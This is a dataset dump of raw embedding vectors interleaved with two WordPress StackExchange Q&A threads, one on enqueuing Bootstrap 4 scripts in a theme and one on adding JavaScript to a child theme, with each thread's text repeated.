-0.00899505615234375, -0.005107879638671875, 0.024871826171875, -0.04742431640625, 0.006259918212890625, -0.014556884765625, 0.031219482421875, 0.034423828125, 0.0011653900146484375, 0.01502227783203125, -0.043212890625, 0.0015439987182617188, -0.0171966552734375, -0.0253448486328125, -0.02264404296875, 0.0126495361328125, -0.015350341796875, 0.00432586669921875, -0.0128326416015625, 0.016357421875, -0.003757476806640625, 0.0171966552734375, -0.033538818359375, -0.01555633544921875, 0.0189208984375, 0.02001953125, -0.00799560546875, -0.0250244140625, 0.01195526123046875, 0.0204620361328125, -0.03564453125, 0.02081298828125, 0.0257110595703125, 0.0421142578125, -0.02606201171875, 0.00469970703125, 0.0321044921875, 0.0088958740234375, 0.00670623779296875, 0.004638671875, -0.00363922119140625, 0.040740966796875, -0.002262115478515625, -0.0167388916015625, 0.01513671875, -0.04534912109375, 0.0132904052734375, 0.00847625732421875, -0.0150299072265625, -0.01114654541015625, -0.0010881423950195312, 0.0258636474609375, 0.0009198188781738281, 0.00478363037109375 ]
108358f24c3073352d8b1beeabfbf89ae41b0389
Wordpress Stackexchange Q: How to en-queue bootstrap 4 to theme? i tried enqueue the bootstap with functions php wp_enqueue_style('bootstrap4', 'https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css'); wp_enqueue_script( 'boot1','https://code.jquery.com/jquery-3.3.1.slim.min.js'); wp_enqueue_script( 'boot2','https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js'); wp_enqueue_script( 'boot2','https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js'); css seems to work but none of the js files are working..not sure what i am doing wrong.. please help thank A: You can use action hook and enqueue script and style to the site. function my_scripts() { wp_enqueue_style('bootstrap4', 'https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css'); wp_enqueue_script( 'boot1','https://code.jquery.com/jquery-3.3.1.slim.min.js', array( 'jquery' ),'',true ); wp_enqueue_script( 'boot2','https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js', array( 'jquery' ),'',true ); wp_enqueue_script( 'boot3','https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js', array( 'jquery' ),'',true ); } add_action( 'wp_enqueue_scripts', 'my_scripts' ); If you want to add the scripts after jQuery then you can use the jQuery array for dependent and last argument true will include the JS at footer, if you want the js in header, you can remove that.
Q: How to en-queue bootstrap 4 to theme? i tried enqueue the bootstap with functions php wp_enqueue_style('bootstrap4', 'https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css'); wp_enqueue_script( 'boot1','https://code.jquery.com/jquery-3.3.1.slim.min.js'); wp_enqueue_script( 'boot2','https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js'); wp_enqueue_script( 'boot2','https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js'); css seems to work but none of the js files are working..not sure what i am doing wrong.. please help thank A: You can use action hook and enqueue script and style to the site. function my_scripts() { wp_enqueue_style('bootstrap4', 'https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css'); wp_enqueue_script( 'boot1','https://code.jquery.com/jquery-3.3.1.slim.min.js', array( 'jquery' ),'',true ); wp_enqueue_script( 'boot2','https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js', array( 'jquery' ),'',true ); wp_enqueue_script( 'boot3','https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js', array( 'jquery' ),'',true ); } add_action( 'wp_enqueue_scripts', 'my_scripts' ); If you want to add the scripts after jQuery then you can use the jQuery array for dependent and last argument true will include the JS at footer, if you want the js in header, you can remove that. A: Try this: function abc_load_my_scripts() { wp_enqueue_script( 'boot1','https://code.jquery.com/jquery-3.3.1.slim.min.js', array('jquery')); wp_enqueue_script( 'boot2','https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js', array('jquery')); wp_enqueue_script( 'boot3','https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js', array('jquery')); } add_action( 'wp_enqueue_scripts', 'abc_load_my_scripts', 999); With the last argument array('jquery') you're telling WP to include the script AFTER jQuery. Note that every script must use a different handle (first parameter). More info here. When you check the <head>, are you certain the scripts aren't loaded? Regards, Bjorn
wordpress
{ "language": "en", "length": 188, "provenance": "stackexchange_00019.jsonl.gz:486975", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306262" }
[ -0.018829345703125, -0.00862884521484375, -0.059844970703125, -0.004428863525390625, 0.0114898681640625, -0.04150390625, 0.02679443359375, 0.0229034423828125, 0.0341796875, -0.018096923828125, -0.00438690185546875, -0.001712799072265625, -0.01812744140625, -0.041595458984375, 0.01512908935546875, -0.02056884765625, 0.05560302734375, -0.052764892578125, -0.010589599609375, -0.0172576904296875, 0.0155181884765625, 0.0139312744140625, 0.0012102127075195312, 0.11529541015625, -0.004795074462890625, -0.022979736328125, 0.11376953125, 0.0156402587890625, -0.0150909423828125, -0.010711669921875, 0.023101806640625, -0.036834716796875, -0.0005741119384765625, 0.044464111328125, -0.0198822021484375, -0.03424072265625, 0.0195159912109375, 0.0097198486328125, 0.029144287109375, 0.0113677978515625, 0.027679443359375, -0.01332855224609375, 0.006374359130859375, 0.035064697265625, -0.01342010498046875, -0.045379638671875, 0.028656005859375, -0.035552978515625, -0.002170562744140625, 0.051849365234375, 0.026458740234375, 0.006610870361328125, 0.003513336181640625, 0.030670166015625, 0.0177764892578125, 0.019805908203125, 0.0012578964233398438, -0.007251739501953125, 0.035980224609375, 0.04693603515625, -0.0037059783935546875, -0.001239776611328125, -0.00696563720703125, -0.060577392578125, -0.0203704833984375, -0.00598907470703125, 0.007781982421875, 0.0132293701171875, -0.0230712890625, -0.0135955810546875, 0.0250701904296875, -0.00739288330078125, -0.0012979507446289062, -0.0273590087890625, -0.02301025390625, 0.037078857421875, -0.01087188720703125, 0.01056671142578125, 0.0197601318359375, -0.001857757568359375, 0.00008213520050048828, 0.01324462890625, -0.0552978515625, -0.0574951171875, 0.039642333984375, -0.032012939453125, -0.02056884765625, 0.002971649169921875, -0.0104217529296875, -0.007137298583984375, -0.021087646484375, -0.041656494140625, 0.0260772705078125, 0.003734588623046875, -0.014373779296875, -0.007633209228515625, 0.0697021484375, 0.0150299072265625, -0.0024051666259765625, -0.0135498046875, 0.0143585205078125, -0.05340576171875, 0.045013427734375, -0.008148193359375, 0.0047454833984375, 0.052642822265625, -0.0032196044921875, 0.015533447265625, 0.0297088623046875, 0.00396728515625, 0.021209716796875, -0.007663726806640625, -0.0005002021789550781, -0.027557373046875, -0.004283905029296875, -0.0034732818603515625, -0.015045166015625, 0.0269622802734375, 0.00576019287109375, -0.0011205673217773438, -0.01192474365234375, 0.041595458984375, -0.00943756103515625, -0.015899658203125, -0.033599853515625, -0.0142822265625, 0.042236328125, -0.07763671875, 0.0167999267578125, 0.0406494140625, -0.01438140869140625, -0.0012140274047851562, 0.04278564453125, 0.0009675025939941406, -0.025299072265625, -0.02764892578125, 0.046112060546875, -0.020416259765625, 0.00833892822265625, -0.0005078315734863281, 0.02386474609375, -0.044158935546875, -0.041778564453125, 0.0220794677734375, -0.0261383056640625, 0.0435791015625, 0.01580810546875, -0.02410888671875, -0.0203094482421875, -0.03497314453125, -0.01168060302734375, -0.073486328125, 0.051055908203125, 0.037322998046875, -0.036163330078125, 0.0218353271484375, 0.05859375, -0.01441192626953125, -0.06109619140625, -0.05657958984375, -0.036224365234375, 0.00677490234375, 0.046722412109375, -0.0008540153503417969, 0.040069580078125, -0.0311737060546875, -0.0197601318359375, 0.01049041748046875, 0.035247802734375, 0.037384033203125, -0.01206207275390625, -0.002086639404296875, 0.03887939453125, 0.0047454833984375, -0.0291900634765625, 0.0118865966796875, 0.00091552734375, 0.0240020751953125, 0.0272674560546875, -0.0095672607421875, -0.024566650390625, -0.037353515625, 0.08331298828125, -0.045379638671875, -0.0386962890625, 0.00518035888671875, 0.0196075439453125, 0.038818359375, 0.0189056396484375, 0.00812530517578125, 0.038116455078125, -0.0095367431640625, -0.031768798828125, -0.0165863037109375, 0.020751953125, 0.016571044921875, -0.0267486572265625, 0.0020961761474609375, 0.00933837890625, -0.027587890625, -0.004978179931640625, 0.0033397674560546875, 0.021087646484375, 0.008087158203125, -0.048492431640625, 0.01140594482421875, -0.0333251953125, 0.028533935546875, -0.0223846435546875, 0.006107330322265625, 0.0104217529296875, 0.023284912109375, -0.00852203369140625, -0.046478271484375, -0.016326904296875, 0.011688232421875, -0.0299224853515625, 0.0298309326171875, -0.0007801055908203125, 0.04058837890625, 0.0186004638671875, -0.03656005859375, 0.01456451416015625, 0.0110321044921875, -0.0032176971435546875, -0.006076812744140625, -0.018798828125, -0.0019521713256835938, -0.00778961181640625, 0.005359649658203125, 0.0301513671875, 0.02569580078125, 0.03631591796875, 0.09100341796875, 0.00806427001953125, -0.025238037109375, 0.0176239013671875, -0.041046142578125, 0.034027099609375, 0.01287078857421875, 0.039520263671875, 0.0030307769775390625, -0.015655517578125, -0.033538818359375, 0.05950927734375, 0.007049560546875, 0.03350830078125, -0.039093017578125, -0.0007181167602539062, 0.018707275390625, 0.01629638671875, 0.0132904052734375, 0.028167724609375, 0.01444244384765625, -0.0189971923828125, 0.04339599609375, -0.001346588134765625, 0.0253448486328125, -0.035675048828125, 0.0174713134765625, 0.00904083251953125, -0.0220794677734375, -0.029541015625, -0.011016845703125, 0.0151824951171875, -0.0177764892578125, -0.005237579345703125, -0.0215606689453125, -0.035369873046875, -0.005573272705078125, 0.045135498046875, -0.0220947265625, -0.0149078369140625, 0.0220794677734375, 0.01354217529296875, 0.01033782958984375, -0.052032470703125, 0.007526397705078125, 0.009307861328125, 0.0143890380859375, 0.00962066650390625, 0.048583984375, 0.0292816162109375, -0.024444580078125, 0.01444244384765625, 0.0001220703125, -0.0024280548095703125, -0.02215576171875, -0.002658843994140625, -0.00856781005859375, 0.018646240234375, 0.0234375, -0.00890350341796875, 0.01253509521484375, -0.005825042724609375, -0.019256591796875, 0.0160064697265625, 0.006626129150390625, 0.0292816162109375, -0.003726959228515625, 0.002506256103515625, 0.04022216796875, -0.0172119140625, 0.00731658935546875, 0.020355224609375, -0.0021305084228515625, 0.041961669921875, 0.004047393798828125, 0.00574493408203125, -0.006832122802734375, 0.0093536376953125, 0.050323486328125, 0.046417236328125, 0.0275726318359375, 0.025390625, -0.0057525634765625, -0.007030487060546875, 0.039306640625, -0.08551025390625, -0.1107177734375, -0.0305633544921875, -0.060333251953125, 0.009033203125, -0.004810333251953125, -0.0161590576171875, 0.0011873245239257812, 0.034637451171875, 0.00482177734375, -0.061676025390625, -0.0300140380859375, 0.0064697265625, -0.061553955078125, -0.04559326171875, 0.01293182373046875, 0.02874755859375, 0.0325927734375, 0.004032135009765625, 0.034149169921875, 0.01105499267578125, -0.0201263427734375, 0.032501220703125, 0.02032470703125, -0.0228424072265625, -0.017791748046875, 0.0306549072265625, -0.052734375, -0.01186370849609375, 0.010986328125, 0.006549835205078125, 0.00928497314453125, -0.010589599609375, -0.026519775390625, -0.034637451171875, -0.0191650390625, 0.0005846023559570312, 0.041717529296875, 0.031097412109375, -0.023529052734375, 0.03204345703125, -0.029205322265625, -0.08453369140625, 0.0254364013671875, -0.0615234375, 0.030487060546875, 0.046875, -0.02447509765625, -0.01435089111328125, 0.04290771484375, 0.0350341796875, 0.005035400390625, -0.01806640625, 0.0238800048828125, 0.058135986328125, -0.009979248046875, 0.01224517822265625, -0.0267181396484375, 0.00986480712890625, -0.040283203125, 0.038970947265625, 0.0055084228515625, -0.03125, -0.0309295654296875, -0.0030269622802734375, -0.035675048828125, -0.021331787109375, 0.02587890625, -0.0142974853515625, 0.01338958740234375, 0.0014972686767578125, -0.017059326171875, 0.015960693359375, 0.07122802734375, -0.04364013671875, 0.0034084320068359375, 0.031951904296875, -0.0003769397735595703, -0.034942626953125, -0.003200531005859375, -0.08135986328125, -0.0085601806640625, -0.089111328125, -0.016265869140625, -0.03973388671875, -0.035186767578125, -0.0013704299926757812, -0.04180908203125, -0.045654296875, -0.05828857421875, 0.0237579345703125, -0.016754150390625, -0.00978851318359375, -0.01041412353515625, -0.05487060546875, -0.025390625, -0.013916015625, -0.008758544921875, -0.0888671875, -0.0215911865234375, -0.0053863525390625, 0.0789794921875, -0.00812530517578125, 0.03515625, -0.015533447265625, 0.069580078125, -0.005565643310546875, 0.01062774658203125, 0.0069580078125, 0.0244903564453125, -0.039642333984375, -0.0270233154296875, -0.00144195556640625, -0.04791259765625, -0.00817108154296875, -0.016998291015625, -0.059478759765625, 0.01047515869140625, -0.005077362060546875, 0.02398681640625, 0.03778076171875, -0.028228759765625, -0.06689453125, 0.0120697021484375, -0.0028781890869140625, -0.00815582275390625, 0.0120697021484375, -0.037689208984375, -0.0114288330078125, -0.060089111328125, 0.0413818359375, 0.0013322830200195312, 0.0220489501953125, -0.019317626953125, 0.03369140625, 0.01555633544921875, -0.036590576171875, 0.04107666015625, 0.01340484619140625, 0.018951416015625, -0.0047607421875, 0.030517578125, -0.01546478271484375, -0.0218505859375, 0.0634765625, -0.00927734375, 0.008056640625, 0.028472900390625, -0.00885009765625, 0.0238494873046875, -0.0377197265625, 0.016693115234375, 0.031524658203125, -0.044342041015625, 0.06085205078125, 0.0321044921875, -0.0157012939453125, -0.0017604827880859375, 0.0108184814453125, 0.0157928466796875, -0.057373046875, -0.024688720703125, -0.06494140625, 0.0145721435546875, -0.033355712890625, 0.07855224609375, -0.010528564453125, 0.01029205322265625, 0.08251953125, 0.1090087890625, 0.0229339599609375, 0.0036983489990234375, -0.0029048919677734375, -0.026214599609375, 0.0140838623046875, 0.033721923828125, 0.01036834716796875, 0.0222625732421875, 0.0019130706787109375, 0.066162109375, 0.037506103515625, -0.00583648681640625, -0.053619384765625, 0.01093292236328125, 0.048553466796875, -0.040618896484375, -0.020904541015625, 0.06072998046875, 0.06341552734375, -0.052734375, -0.0286407470703125, 0.00901031494140625, -0.007770538330078125, -0.0780029296875, 0.0401611328125, -0.0030193328857421875, -0.006000518798828125, -0.0197906494140625, 0.0237274169921875, 0.0182952880859375, -0.00103759765625, -0.02197265625, 0.0006341934204101562, -0.00771331787109375, 0.0482177734375, 0.0112762451171875, -0.04150390625, 0.0191650390625, 0.0249481201171875, 0.043426513671875, -0.006107330322265625, -0.01392364501953125, 0.01342010498046875, 0.010101318359375, -0.016937255859375, 0.0034046173095703125, 0.0253143310546875, 0.006591796875, -0.0234375, 0.0298614501953125, -0.01134490966796875, -0.044158935546875, -0.054168701171875, -0.04791259765625, 0.033203125, -0.0011043548583984375, -0.0047454833984375, -0.004364013671875, 0.01503753662109375, 0.02777099609375, 0.0146484375, -0.0202178955078125, 0.0200958251953125, 0.022613525390625, 0.05450439453125, 0.0005011558532714844, -0.034332275390625, -0.057159423828125, -0.0269927978515625, -0.01580810546875, 0.01287841796875, 0.06341552734375, -0.0283966064453125, -0.03216552734375, -0.01399993896484375, 0.0276336669921875, -0.0115814208984375, 0.0136871337890625, 0.0239410400390625, -0.01049041748046875, 0.044952392578125, -0.026885986328125, -0.0249786376953125, -0.0408935546875, -0.045257568359375, -0.050872802734375, -0.0037593841552734375, 0.01259613037109375, -0.0015211105346679688, -0.006496429443359375, -0.0257568359375, -0.059478759765625, -0.022125244140625, 0.031463623046875, 0.03936767578125, 0.0190887451171875, -0.040252685546875, 0.0855712890625, 0.01294708251953125, 0.0295867919921875, 0.0064697265625, 0.044586181640625, -0.024383544921875, 0.0006518363952636719, -0.0364990234375, -0.0667724609375, 0.0489501953125, 0.007068634033203125, -0.00453948974609375, 0.04486083984375, 0.0565185546875, 0.035400390625, 0.0250396728515625, 0.01318359375, -0.0005078315734863281, -0.00885772705078125, 0.003345489501953125, 0.042236328125, 0.0318603515625, 0.047760009765625, 0.014862060546875, 0.04962158203125, -0.039581298828125, -0.0147247314453125, 0.016815185546875, -0.0125732421875, 0.017486572265625, 0.02117919921875, -0.057708740234375, 0.052459716796875, 0.038177490234375, -0.01021575927734375, 0.0116119384765625, -0.040283203125, -0.0272064208984375, 0.0275421142578125, 0.033172607421875, -0.0218963623046875, -0.005420684814453125, 0.02783203125, -0.024078369140625, -0.023773193359375, -0.01189422607421875, -0.0175933837890625, -0.0377197265625, 0.035888671875, -0.00360107421875, -0.0565185546875, -0.0201568603515625, -0.0208282470703125, -0.02362060546875, -0.04376220703125, 0.00975799560546875, 0.00832366943359375, 0.0226287841796875, 0.026580810546875, 0.0179443359375, -0.0125732421875, 0.03173828125, 0.032501220703125, -0.000499725341796875, -0.00922393798828125, -0.026763916015625, -0.00897979736328125, -0.03753662109375, 0.0015859603881835938, 0.03668212890625, -0.0034942626953125, -0.004398345947265625, -0.0017938613891601562, 0.0101318359375, -0.03302001953125, -0.0262298583984375, 0.01436614990234375, -0.03466796875, -0.011322021484375, 0.0130157470703125, -0.00926971435546875, -0.0161895751953125, 0.021514892578125, -0.0191497802734375, 0.0240936279296875, -0.025970458984375, 0.0243682861328125, -0.030792236328125, -0.0167388916015625, 0.058197021484375, -0.01067352294921875, -0.0455322265625, 0.03466796875, -0.016448974609375, -0.051483154296875, -0.006137847900390625, -0.00881195068359375, 0.065185546875, -0.0274200439453125, -0.00931549072265625, 0.00814056396484375, 0.028564453125, 0.00826263427734375, -0.00696563720703125, 0.02825927734375, -0.0947265625, -0.0577392578125, 0.01593017578125, -0.044952392578125, -0.032318115234375, -0.0169830322265625, -0.045135498046875, 0.07501220703125, -0.01263427734375, 0.0147857666015625, 0.00959014892578125, 0.035247802734375, -0.01174163818359375, 0.0015878677368164062, 0.005496978759765625, 0.02947998046875, -0.0258941650390625, 0.0197906494140625, 0.00614166259765625, 0.0010137557983398438, 0.0286712646484375, 0.0204620361328125, -0.053192138671875, -0.022613525390625, -0.0041351318359375, -0.0009021759033203125, 0.037109375, 0.06231689453125, 0.044830322265625, -0.025054931640625, -0.0103759765625, -0.032012939453125, -0.004444122314453125, -0.0026226043701171875, 0.0158843994140625, -0.0230865478515625, -0.0350341796875, 0.019195556640625, -0.00637054443359375, -0.0014715194702148438, -0.03961181640625, 0.0252532958984375, -0.0238800048828125, -0.01194000244140625, 0.0045928955078125, 0.00737762451171875, -0.008453369140625, 0.03936767578125, 0.0016107559204101562, -0.00762176513671875, -0.03192138671875, -0.0149078369140625, 0.0117034912109375, -0.027252197265625, 0.0013103485107421875, -0.039794921875, 0.0128021240234375, 0.018463134765625, -0.041717529296875, -0.0307464599609375, 0.03204345703125, -0.029998779296875, 0.03692626953125, 0.0279998779296875, 0.037689208984375, -0.0191497802734375, -0.0242156982421875, -0.006076812744140625, 0.050048828125, -0.0238037109375, 0.001922607421875, 0.004364013671875, 0.0269317626953125, 0.000025272369384765625, -0.037750244140625, -0.0027370452880859375, -0.0233612060546875, -0.0033702850341796875, 0.00782012939453125, -0.0098876953125, -0.00017845630645751953, -0.001483917236328125, 0.01329803466796875, 0.06329345703125, -0.0217742919921875, 0.00672149658203125, -0.06024169921875, 0.00986480712890625, 0.0251617431640625, 0.0791015625, 0.04205322265625, 0.03619384765625, -0.0085906982421875, -0.03582763671875, -0.0013208389282226562, 0.02410888671875, -0.00899505615234375, 0.01111602783203125, -0.00559234619140625, 0.0218353271484375, -0.046630859375, 0.02642822265625, 0.00853729248046875, 0.0006427764892578125, 0.036773681640625, 0.055938720703125, -0.0013513565063476562, -0.01136016845703125, 0.0399169921875, -0.0065460205078125, 0.01200103759765625, -0.0028839111328125, 0.00732421875, 0.01239776611328125, -0.01213836669921875, 0.006542205810546875, 0.044677734375, 0.0262298583984375, -0.0433349609375, 0.0184478759765625, -0.00628662109375, -0.0227203369140625, 0.003688812255859375, 0.005702972412109375, 0.0183868408203125, -0.0232696533203125, -0.0022449493408203125, -0.01235198974609375, 0.0125732421875, -0.01277923583984375, -0.01438140869140625, 0.0283660888671875, -0.0016374588012695312, 0.0166778564453125, 0.0017271041870117188, -0.047149658203125, 0.00949859619140625, 0.065673828125, -0.021484375, 0.043701171875, 0.04693603515625, -0.006015777587890625, -0.048797607421875, -0.035125732421875, -0.028076171875, 0.055023193359375, -0.0139617919921875, 0.0204315185546875, -0.022613525390625, 0.031402587890625, 0.033782958984375, -0.01444244384765625, 0.036590576171875, 0.01039886474609375, 0.01412200927734375, -0.002109527587890625, -0.00733184814453125, -0.0306854248046875, -0.04345703125, 0.0145416259765625, 0.004398345947265625, -0.007518768310546875, -0.00388336181640625, -0.002742767333984375, 0.0157318115234375, 0.0228118896484375, -0.01508331298828125, -0.0294952392578125, -0.0278472900390625, -0.00897216796875, 0.0188140869140625, 0.01336669921875, 0.0081634521484375, -0.0187530517578125, 0.009429931640625, 0.04296875, 0.0009889602661132812, 0.03790283203125, 0.01349639892578125, 0.07586669921875, 0.037200927734375, -0.039886474609375, -0.021759033203125, 0.00020301342010498047, -0.0102691650390625, 0.002197265625, 0.007289886474609375, -0.007747650146484375, 0.0048065185546875, -0.05694580078125, 0.09881591796875, 0.05816650390625, 0.052001953125, 0.002716064453125, -0.005802154541015625, 0.08453369140625, -0.0369873046875, -0.02093505859375, 0.01296234130859375, -0.0037822723388671875, -0.0200042724609375, -0.0083465576171875, 0.01129150390625, -0.0169830322265625, -0.0057830810546875, -0.034942626953125, 0.023681640625, 0.0162200927734375, -0.007904052734375, -0.04913330078125, 0.06024169921875, -0.066162109375, 0.003902435302734375, -0.0107421875, 0.053985595703125, -0.00965118408203125, -0.00521087646484375, -0.0657958984375, 0.00327301025390625, -0.0287017822265625, 0.023895263671875, -0.0241851806640625, -0.00420379638671875, 0.0266876220703125, -0.00609588623046875, 0.0290679931640625, -0.0189361572265625, 0.010894775390625, 0.034912109375, -0.0394287109375, -0.0270233154296875, -0.007312774658203125, 0.01537322998046875, 0.006866455078125, -0.06793212890625, -0.004543304443359375, -0.06439208984375, 0.014617919921875, 0.004154205322265625, -0.0008101463317871094, 0.01253509521484375, -0.03997802734375, -0.126708984375, 0.060760498046875, -0.016326904296875, -0.034423828125, -0.05889892578125, -0.020294189453125, 0.01555633544921875, -0.016571044921875, -0.04193115234375, -0.01119232177734375, -0.046295166015625, 0.04833984375, -0.008575439453125, 0.057281494140625, -0.00811004638671875, -0.00865936279296875, -0.00890350341796875, 0.00804901123046875, 0.002716064453125, -0.016357421875, -0.02911376953125, -0.00006848573684692383, 0.0107269287109375, 0.011505126953125, 0.0010023117065429688, -0.0546875, 0.0285797119140625, -0.037750244140625, 0.021026611328125, -0.030120849609375, 0.023345947265625, 0.020111083984375, -0.0151214599609375, -0.0203704833984375, -0.01366424560546875, -0.04095458984375, -0.023895263671875, -0.007541656494140625, -0.01153564453125, -0.0023345947265625, 0.00756072998046875, -0.03863525390625, 0.0024871826171875, -0.035797119140625, 0.0032634735107421875, -0.03558349609375, -0.0171356201171875, -0.020050048828125, -0.029052734375, -0.004680633544921875, -0.0118865966796875, 0.038177490234375, -0.015869140625, 0.08355712890625, -0.017913818359375, 0.06683349609375, -0.00521087646484375, 0.032989501953125, 0.09197998046875, 0.034027099609375, -0.0369873046875, -0.0034027099609375, -0.01971435546875, 0.009735107421875, -0.0164642333984375, 0.045623779296875, -0.01105499267578125, 0.0188140869140625, 0.01557159423828125, -0.0016412734985351562, -0.004741668701171875, -0.009521484375, -0.0237884521484375, -0.0140838623046875, -0.035064697265625, 0.0411376953125, -0.0176239013671875, 0.057647705078125, 0.01268768310546875, 0.0232086181640625, 0.0166168212890625, -0.0131988525390625, 0.042388916015625, -0.037841796875, 0.01611328125, -0.0001844167709350586, -0.0308837890625, -0.0185546875, 0.031951904296875, 0.03533935546875, -0.04034423828125, 0.02069091796875 ]
054f9c389175b5081a72608a25588bc97849d304
Wordpress Stackexchange Q: Adding javascript to child theme I want to apply some javascript to my header and want to know what the best way to implement it is. here is the source that contains the javascript I'm including - https://codepen.io/kaemak/pen/mHyKa/ Should I create a new javascript file then add it to the child theme, if so then I'm unsure of what to call the file and will it apply to the head from this location? A: You should enqueue the script in child theme's functions.php. for example if name of the js file is custom.js and if you place it under js folder in your child theme, then in functions.php you should add function my_custom_scripts() { wp_enqueue_script( 'custom-js', get_stylesheet_directory_uri() . '/js/custom.js', array( 'jquery' ),'',true ); } add_action( 'wp_enqueue_scripts', 'my_custom_scripts' ); Here get_stylesheet_directory_uri() will return the directory of your child theme, then array( 'jquery' ) would make your js load after jquery, if your script requires js then you should use this else you can remove or you can add the dependent script here, then the last parameter true, is to make your js load at the footer.
Q: Adding javascript to child theme I want to apply some javascript to my header and want to know what the best way to implement it is. here is the source that contains the javascript I'm including - https://codepen.io/kaemak/pen/mHyKa/ Should I create a new javascript file then add it to the child theme, if so then I'm unsure of what to call the file and will it apply to the head from this location? A: You should enqueue the script in child theme's functions.php. for example if name of the js file is custom.js and if you place it under js folder in your child theme, then in functions.php you should add function my_custom_scripts() { wp_enqueue_script( 'custom-js', get_stylesheet_directory_uri() . '/js/custom.js', array( 'jquery' ),'',true ); } add_action( 'wp_enqueue_scripts', 'my_custom_scripts' ); Here get_stylesheet_directory_uri() will return the directory of your child theme, then array( 'jquery' ) would make your js load after jquery, if your script requires js then you should use this else you can remove or you can add the dependent script here, then the last parameter true, is to make your js load at the footer. A: Yes, create a new JavaScript file and just call it wherever you want, I would suggest to call it under footer that's the best way to call js files. You can add below code to your footer: <script src="<?php echo get_template_directory_uri(); ?>/filename.js"></script>
wordpress
{ "language": "en", "length": 229, "provenance": "stackexchange_00019.jsonl.gz:487078", "question_score": "9", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306604" }
[ 0.03753662109375, -0.0022068023681640625, -0.0457763671875, -0.06878662109375, 0.0194854736328125, -0.0286712646484375, -0.003170013427734375, 0.0273590087890625, -0.0833740234375, 0.0026988983154296875, -0.03814697265625, 0.029388427734375, -0.056549072265625, -0.01012420654296875, 0.02203369140625, -0.090576171875, 0.06292724609375, -0.04315185546875, 0.023956298828125, -0.00923919677734375, 0.0173492431640625, 0.0297393798828125, 0.040740966796875, 0.1273193359375, 0.0194549560546875, -0.055908203125, 0.08184814453125, 0.0033721923828125, 0.009429931640625, -0.0130767822265625, 0.0247955322265625, -0.0163421630859375, 0.0059356689453125, 0.0278778076171875, 0.008056640625, 0.01210784912109375, 0.03948974609375, 0.00396728515625, 0.0228424072265625, 0.038299560546875, 0.027191162109375, -0.01432037353515625, 0.00004011392593383789, 0.039215087890625, -0.004123687744140625, -0.042633056640625, 0.0198516845703125, -0.052032470703125, -0.0005016326904296875, -0.0091552734375, 0.0323486328125, -0.01506805419921875, 0.04254150390625, -0.0235137939453125, -0.01456451416015625, 0.0229644775390625, -0.0240631103515625, 0.00429534912109375, 0.0083770751953125, 0.043304443359375, 0.005054473876953125, 0.0237884521484375, -0.00662994384765625, -0.0185699462890625, 0.0015583038330078125, -0.019683837890625, -0.0660400390625, 0.018646240234375, -0.0433349609375, -0.0017728805541992188, 0.03912353515625, -0.053131103515625, 0.0013628005981445312, 0.0027923583984375, -0.01678466796875, -0.033203125, -0.0006041526794433594, -0.01517486572265625, 0.0245513916015625, -0.0015401840209960938, -0.00145721435546875, -0.00342559814453125, -0.0391845703125, -0.0240325927734375, 0.0156707763671875, 0.00794219970703125, -0.0157623291015625, -0.0114288330078125, -0.058319091796875, -0.033843994140625, -0.036468505859375, -0.031463623046875, -0.06695556640625, -0.012939453125, -0.00868988037109375, 0.014556884765625, 0.0024566650390625, 0.026458740234375, -0.005458831787109375, 0.02197265625, 0.0026035308837890625, -0.0268402099609375, 0.054656982421875, -0.03662109375, -0.01019287109375, 0.04217529296875, 0.00902557373046875, -0.0174560546875, -0.00457763671875, 0.0157470703125, -0.002613067626953125, -0.0163421630859375, 0.03216552734375, 0.036346435546875, -0.03912353515625, -0.010528564453125, -0.002590179443359375, -0.014373779296875, -0.0187530517578125, 0.01222991943359375, 0.01149749755859375, 0.0216522216796875, -0.02056884765625, -0.0176544189453125, -0.00873565673828125, -0.032440185546875, -0.01561737060546875, -0.011474609375, 0.0216522216796875, 0.01385498046875, -0.0345458984375, 0.0011110305786132812, 0.0634765625, 0.0245513916015625, 0.00833892822265625, -0.019287109375, 0.0498046875, -0.0189208984375, 0.022552490234375, -0.0219268798828125, 0.03131103515625, -0.01983642578125, -0.002941131591796875, 0.0185546875, -0.0120391845703125, -0.0019359588623046875, -0.02044677734375, 0.0274658203125, 0.045562744140625, -0.02593994140625, 0.038360595703125, -0.046539306640625, 0.059906005859375, -0.01454925537109375, -0.03167724609375, -0.0377197265625, -0.0068206787109375, -0.02691650390625, -0.007598876953125, -0.0269317626953125, -0.0182037353515625, 0.027099609375, 0.024200439453125, -0.038421630859375, -0.02069091796875, -0.059051513671875, 0.0019321441650390625, 0.00908660888671875, 0.0173797607421875, 0.01145172119140625, 0.021636962890625, -0.0278472900390625, -0.04620361328125, 0.00372314453125, 0.010650634765625, 0.018157958984375, -0.034149169921875, 0.029815673828125, 0.050140380859375, -0.027099609375, -0.0198974609375, -0.04931640625, 0.07318115234375, -0.0280914306640625, -0.043914794921875, 0.0015430450439453125, 0.0118865966796875, 0.048370361328125, -0.0010690689086914062, 0.0303955078125, 0.022430419921875, 0.01088714599609375, -0.04205322265625, -0.0030994415283203125, 0.0196685791015625, -0.0186614990234375, -0.04229736328125, -0.0290679931640625, -0.013916015625, 0.03704833984375, -0.0260009765625, -0.0191650390625, 0.0200042724609375, -0.002460479736328125, 0.0022640228271484375, -0.017425537109375, -0.01517486572265625, 0.031707763671875, 0.01861572265625, -0.0030040740966796875, -0.00646209716796875, 0.00974273681640625, 